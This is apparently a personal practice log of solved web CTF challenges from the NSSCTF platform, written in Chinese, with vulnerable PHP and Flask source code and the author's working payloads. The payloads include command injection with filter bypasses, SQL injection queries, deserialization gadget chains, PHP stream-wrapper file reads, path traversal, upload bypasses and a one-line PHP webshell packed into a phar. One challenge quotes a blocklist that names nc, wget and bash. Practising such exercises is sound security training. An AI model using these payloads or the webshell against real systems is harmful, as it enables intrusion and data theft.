NSS刷题记录

[SWPUCTF 2021 新生赛]gift_F12

image-20220826193946470

超级好看的界面诶

image-20220826194039064

找到了就是不能复制,直接源码看一下

image-20220826194129125

两种办法本质一样的

[SWPUCTF 2021 新生赛]jicao

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

这里就是要POST传入id,再GET传入一个json编码后的wllm

?json={"x":"wllm"}
id=wllmNB

[SWPUCTF 2021 新生赛]easy_md5

<?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?> 

这题就非常简单了,老熟人md5,这里要求a和b输入值不相同,md5加密后的值弱类型相等,就想到了0e的科学计数法

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

image-20220826225616343

[SWPUCTF 2021 新生赛]caidao

看到标题用菜刀,觉得好麻烦,直接用hackbar也可以的

image-20220826230905037

后台有远程执行漏洞,直接post传参就行

wllm=system("cat /flag");

小声bb:自从上次被师傅教训完怎么理所当然认为flag就在flag.php下面,现在就都/flag了,狠狠吸取教训

[SWPUCTF 2021 新生赛]easyrce

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?> 

这好像遇到过了,印象就不太深了,命令执行

?url=system("cat /f*");

[SWPUCTF 2021 新生赛]include

image-20220826233840384

看了源码,啥也没有,就伪协议

?file=php://filter/convert.base64-encode/resource=flag.php

image-20220826234357356

点开源码,得到一串base64编码

image-20220826234418892

image-20220826234448568

解码得到flag

[SWPUCTF 2021 新生赛]easy_sql

image-20220826235446280

过程就是靠试出来sql的正确语句,就不细讲,比较简单

?wllm=1" //存在注入点

image-20220826235748570

不喜欢sql,所以先跳哈哈哈哈哈哈哈

[第五空间 2021]WebFTP

image-20220829224308022

一个登录框,查看源代码以为是后台源码泄露

image-20220829224351539

结果

image-20220829224523244

然后其实就没什么思路了,看了一下讨论区,说是.git泄露,属于非预期解,直接访问phpinfo.php,搜索flag即可出结果

image-20220829224704371

这里确实是直接有了,看wp说是还有一种方法==>/README.md发现管理员密码,进入后找文件

image-20220829224900377

去登录是成功的

image-20220829224946362

就是找不到/flag哈哈哈哈,蒜啦~

[SWPUCTF 2021 新生赛]babyrce

 <?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) 
{
    include "../next.php";
}
else
    echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!

看到是跟文件头有关的,就想到抓包了,在cookie处添加admin=1

image-20220829230004438

访问,出现了一个新关卡

 <?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;
}
?> 

正则匹配,要绕过空格

?url=cat${IFS}/f*
?url=cat$IFS$9/f*

[SWPUCTF 2021 新生赛]ez_unserialize

image-20220829231140309

吼吼吼,还是动图,有、、可爱的,进行目录扫描

image-20220829231611811

访问robots.txt

image-20220829231701425

继续访问/cl45s.php

 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

$aa = new wllm();
$aa->admin = "admin";
$aa->passwd = "ctf";
$stus = serialize($aa);
print_r($stus);

?> 

反序列化一下

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

[SWPUCTF 2021 新生赛]Do_you_know_http

image-20220910153348548

直接抓包对相应的值进行修改

image-20220910153828631

因为比较简单就不多介绍啦

[SWPUCTF 2021 新生赛]easyupload2.0

image-20220910154122294

测试一下上传,发现php是不可以成功上传的,就抓了个包把带有一句话木马的.php文件重命名为.phtml格式的文件

image-20220910154832345

上传成功后用蚁剑连接

image-20220910154929703

[SWPUCTF 2021 新生赛]no_wakeup

image-20220910160237825

 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

又是反序列化咯

[SWPUCTF 2021 新生赛]easyupload1.0

image-20220912141348309

还是不能上传.php文件

image-20220912141438770

同样是抓包,修改文件后缀

image-20220912141620992

成功登录蚁剑

image-20220912142910035

去提交了一遍发现不正确,哦,是假密码

image-20220912143002606

发现.git提示

image-20220912143123454

结果真的存在git泄露

image-20220912143200452

[SWPUCTF 2021 新生赛]easyupload3.0

image-20220912143314652

怎么修改文件后缀都不能成功绕过,于是考虑用htaccess文件绕过php 的黑名单

.htaccess文件==>用来定义后面上传文件使后面的文件格式会被服务器读成相应的格式

image-20220912144345706

image-20220912144426502

image-20220912144517689

[ZJCTF 2019]NiZhuanSiWei

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

这里就自己浅浅分析了一下==>get三个参数,text需要输入一个文本,就直接用data伪协议了(别问为什么就想到伪协议,问就是做多了有感觉了),记得把后面文本内容base64编码一下;file参数不能有flag,否则输出 Not now!,那么就试一下useless.php文件,也是伪协议,用php伪协议哈

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/convert.base64-encode/resource=useless.php

image-20220920192200280

出现一大串base64编码,就知道了进了一步了

//解码后
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

接下来反序列化整活咯

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __construct(){
        $this->file = "flag.php";
    }  
}  
    
$a = new Flag();         
$b = serialize($a);
echo urlencode($b);
?>   

image-20220920193335486

把这一串拿到password参数上

//最终payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

image-20220920193714345

查看源码

image-20220920193817952

[SWPUCTF 2021 新生赛]easyupload3.0

image-20220920193943611

我是直接上传了本地原有的.htaccess

image-20220920194229555

.htaccess文件上传成功了,为后面的木马文件做准备,接着试着上传一下带一句话木马的.jpg文件

image-20220920194555532

做了好几遍还是连不上蚁剑,罢了罢了,但是不得不说这个题还是很有代表性的hhh

[鹤城杯 2021]EasyP

<?php
include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?> 

前面那一部分的$secret不知道是干什么的,所以前半部分的那个$flag看样子也就是吊胃口的,所以就不管了

接下来主要看下面三个if语句,既然前面两个都返回hacker,那么就主干是在第三个if语句上

知识点

一、$_SERVER['PHP_SELF'] ==> 读取文件夹下的一个文件

比如,qw1k.cn/Luv_0.php/xjw.php?xjw=dmn 会变成 Luv_0.php/xjw.php

二、$_SERVER['REQUEST_URI'] ==> 取得当前URL的 路径地址

比如,qw1k.cn/Luv_0.php/xjw.php?xjw=dmn 会变成 Luv_0.php/xjw.php?xjw=dmn

三、basename() ==> 返回路径中的文件名部分

比如,qw1k.cn/Luv_0.php/xjw.php?file=xjw 会变成 xjw

或者,qw1k.cn/Luv_0.php/xjw.php?file=xjw.php 会变成 xjw.php

还有,qw1k.cn/Luv_0.php/xjw.php?file=/xjw/xjw.php 会变成 xjw.php


了解完之后回来看题目

1.需要用可以造成乱码的url编码绕过*/utils.php/*$/i* 正则匹配

2.*/show_source/**show[source*或者*show.source*绕过,这个记住即可

最后payload:

/index.php/utils.php/%99?show[source=1

其实这道题还是有点懵懵的,感觉前面列出的知识点跟最后的payload关联度不大

[SWPUCTF 2021 新生赛]hardrce

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

看着就想到前一段时间吐槽的无字母绕过,但是这道题不是用这种方法

EXP:
<?php
highlight_file(__FILE__);
$code1="system";
$code2="cat /flllllaaaaaaggggggg";
echo "<br>";
echo "?wllm=(~".urlencode(~$code1).")(~".urlencode(~$code2).");";      //取反绕过

最后得到

image-20220921172340309

?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

image-20220921172717520

[SWPUCTF 2021 新生赛]pop

 <?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?> 

太变态辣,找链子真的狠狠为难了

先是从后往前看,unserialize($w00m);说明是反序列化,接着__toString(),再往下__destruct()

exp如下

<?php

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;

}
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
# 链子
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>

image-20220921180107020

这题还去查了一下别人的分析

$a = new w22m();是把类给了a

然后$a->w00m = new w33m();因为w22m中woom是其中的可控对象 ——tostring操作就是

$a->w00m->w00m=new w44m(); w33m中woom也是其中可控对象

$a->w00m->w22m='Getflag';

w00m是w33m对象,w22m是getflag

原文链接:https://blog.csdn.net/qq_62046696/article/details/124880674

[BJDCTF 2020]easy_md5

image-20220921182351942

就这样一个看起来没什么用的输入框,就尝试抓包好了

image-20220921182343936

因为做过了这道题,所以就知道ffifdyop可以绕过hhh

ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是1select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

输入框内可以看到出现了一个新页面

image-20220824180252435

右键查看源代码

$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

养成了个看到md5就试一下数据绕过的习惯

输入:?a[]=1&b[]=2

直接就可以了,但是感觉这一关考的不是md5数组绕过啊喂,就继续看看,这里要求a和b输入值不相同,md5加密后的值弱类型相等,就想到了0e的科学计数法

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

可以用这两个,也是ok哒,又出现了一个新关卡

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

这里跟上一关卡乍一看别无二致,但是这里两个值需要强类型相等

还是老样子先上数组绕过

param1[]=1&param2[]=2

image-20220921183914241

不知道是不是环境问题,flag就是不出来,过过过

[SWPUCTF 2021 新生赛]PseudoProtocols

一打开指定了一个hint.php文件,正常访问无响应,尝试用伪协议

image-20220921191335177

出现了一串base64编码

image-20220921191443253

按照提示去访问一下发现又是一串base64

image-20220921191540648

<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?>

这种马上就能知道用data伪协议

/test2222222222222.php?a=data://text/plain,I want flag

image-20220921192107408

[NISACTF 2022]easyssrf

image-20220921192437446

ssrf没什么接触,浅试了一下,就看wp了哈哈哈哈

输入:file:///etc/password
返回 :害羞羞,试试其他路径?
可以判断出file协议可以用但是读取不了这个文件,然后盲猜
输入:file:///flag
返回:都说了这里看不了flag。。但是可以看看提示文件:/fl4g
输入:file:///fl4g
返回:你应该看看除了index.php,是不是还有个ha1x1ux1u.php

访问ha1x1ux1u.php

 <?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
  die("你败了.");
}

//flag in /flag
echo file_get_contents($file); 

flag在/flag目录下,直接

?file=../../../../../flag

image-20220921193006416

[SWPUCTF 2021 新生赛]finalrce

 <?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
} 

这种题我们一般就先ls看一下有哪些文件,但是ls被禁了,可以通过l's或者 l\s /的表达方式执行,然后因为代码执行exec(),而这个函数是典型的无回显函数,所以要用 tee命令写入命令使其展示出来

?url=l\s / | tee xjw1.txt  //将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。

| 左右两边都需要有空格哈

image-20220921195507296

写入成功,继续命令执行

?url=tac /flllll\aaaaaaggggggg |tee xjw2.txt

访问一下

image-20220921200758085

[NCTF 2018]签到题

页面什么显示也没有,就看看network

image-20220923003051722

啊嘞,提交是错误的,不访问secret.php看看

image-20220923003650347

直接就有flag了,真服啦,简单是简单,就是如果没想到就会在secret.php里面花时间

[NISACTF 2022]level-up

image-20220923003856461

/robots.txt

这跟省赛初赛第一题异曲同工之妙了hhh,有提示disallow:这个就是robots.txt内容的格式

image-20220923004045498

继续访问

<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (md5($a1) === md5($a2)){
        echo $level3;
    }
    else{
        die("level 2 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?> 

成立的条件是a1和a2值不相等,但是md5后的值相等。因为这里是===不仅比较值相等还会比较值得类型是否相同,所以0E在这里就不可用了

传入的最后转为字符串比较,所以想要数组绕过也就不行了。只能构造两个MD5值相同的不同字符串,也就是md5碰撞

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2   

试了好几个wp的值都过不了呜呜呜,不能在一棵树上吊死,下一个下一个,说掰掰就掰掰

[SWPUCTF 2021 新生赛]easy_sql

image-20221001162232234

直接查看源代码

image-20221001162335762

发现参数

?wllm=1'--+        //有回显==>字符型
?wllm=1' order by 3--+
?wllm=1' order by 4--+       //报错==>字段数为3
?wllm=0' union select 1,2,3--+      //查看回显
?wllm=0' union select 1,2,database()--+       //查数据库==>出现test_db
?wllm=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+     //看数据库的表==>出现test_tb
?wllm=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+    //查字段
?wllm=0' union select 1,2,group_concat(flag) from test_tb--+   //查看flag下的字段值==>出现flag

[GXYCTF 2019]Ping Ping Ping

image-20220923140838399

[suctf 2019]EasySQL

image-20221001164258956

输入非零任何数字都有回显==>使用堆叠注入

0;show databases;

image-20221001164537520

0;show tables;

image-20221001164748427

不想搞辣呜呜呜讨厌sql

[GXYCTF 2019]Ping Ping Ping

image-20221003003830632

0;ls;

先查看全部文件

image-20221003003955261

用cat命令直接抓flag.php,发现flag被过滤了,再试了几个,确定有好多符号都被过滤了,包括空格,为了更直观一些,就直接cat一下index.php

image-20221003004156635

方法一

接着就考虑一下变量拼接

0;a=ag;b=fl;cat$IFS$9$b$a.php    //让变量a=ag,让变量b=fl,注意不能相反

image-20221003004247274

是可以正常执行的,查看源码,即可得到flag

image-20221003004322947

方法二

好像叫内联执行

0;cat$IFS$1`ls`;

在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php。那么ls就代表了index.php这个文件。那么我们就可以使用cat命令查看index.php的内容,而这一道题就可以使用cat$IFS$1 ls` 这个命令来输出flag了

查看源代码就行辣

[NISACTF 2022]babyupload

是一个上传任何后缀的文件都不行的文件上传(至少我试过来都不行哈哈哈哈)

查看源码会提醒我们有一个/source的地址

image-20221003143703311

直接下载了源码

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

开始代码审计了撒,就一点点分析好了

image-20221003145224871

是用post方式提交文件的撒

image-20221003145446241

带.的文件都会回显403,这也就能解释为什么我们前面上传的都不行了

image-20221003145655350

这里就是有一个insert语句进行sql注入插入文件的操作,后面提到了是(uid, file.filename,)

uid作为一个用户身份证明,也就意味着我们传进一个文件名为/flag的文件就可以得到flag的uid

image-20221003151817556

访问一下即可

image-20221003151836961

[NISACTF 2022]bingdundun~

image-20221004153710530

点进超链接

image-20221004153741067

浅试了一下,发现.php和.png格式不行,但是.jpg格式是可以成功上传的

image-20221004153858017

那就好办了

image-20221004154526472

还是想简单了,这道文件上传需要用phar进行打包上传

<?php
    $payload = '<?php eval($_POST["shell"]); ?>' //一句话木马
    $phar = new Phar("example.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->addFromString("xjw.php", "$payload"); //添加要压缩的文件
    // $phar->setMetadata(...); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
    $phar->stopBuffering();
?>

把带有一句话木马的文件压入phar包里

很奇怪的是在本地一直都无法生成.phar文件

image-20221004174513764

权限的话就要去php.ini里修改一下

我修改了还是不行,去请教了一位师傅

image-20221004194915944

太蟹蟹他了

image-20221004194939328

可以生成了

image-20221004195152503

上传后直接通过phar伪协议访问

image-20221004200212074

接着查看flag目录

image-20221004200434088

太感人了,这题因为一个分号被卡了好久

[羊城杯 2020]easycon

image-20221004190121174

谁懂啊,玩到65分玩出来的,重新去想其他解法,发现在.js文件里就直接有

[NSSCTF 2022 Spring Recruit]babyphp

 <?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
    if(isset($_POST['b1'])&&$_POST['b2']){
        if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
            if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
                echo $flag;
            }else{
                echo "yee";
            }
        }else{
            echo "nop";
        }
    }else{
        echo "go on";
    }
}else{
    echo "let's get some php";
}
?> let's get some php

这里共有五个参数,看起来很多,但是会发现它们的方法都别无二致

首先a的参数就一个正则匹配,那么直接数据绕过

接着的b1和b2,需要值不相等,但是b1和b2的md5值相等,同样可以数组绕过

c1和c2呢,因为要求是字符串和md5值相等,所以直接用md5的字符串绕过

QNKCDZO
0e830400451993494058024219903391
 
s878926199a
0e545993274517709034328855841020

最后payload

a[]=1&b1[]=2&b2[]=3&c1=QNKCDZO&c2=s878926199a

image-20221007004736347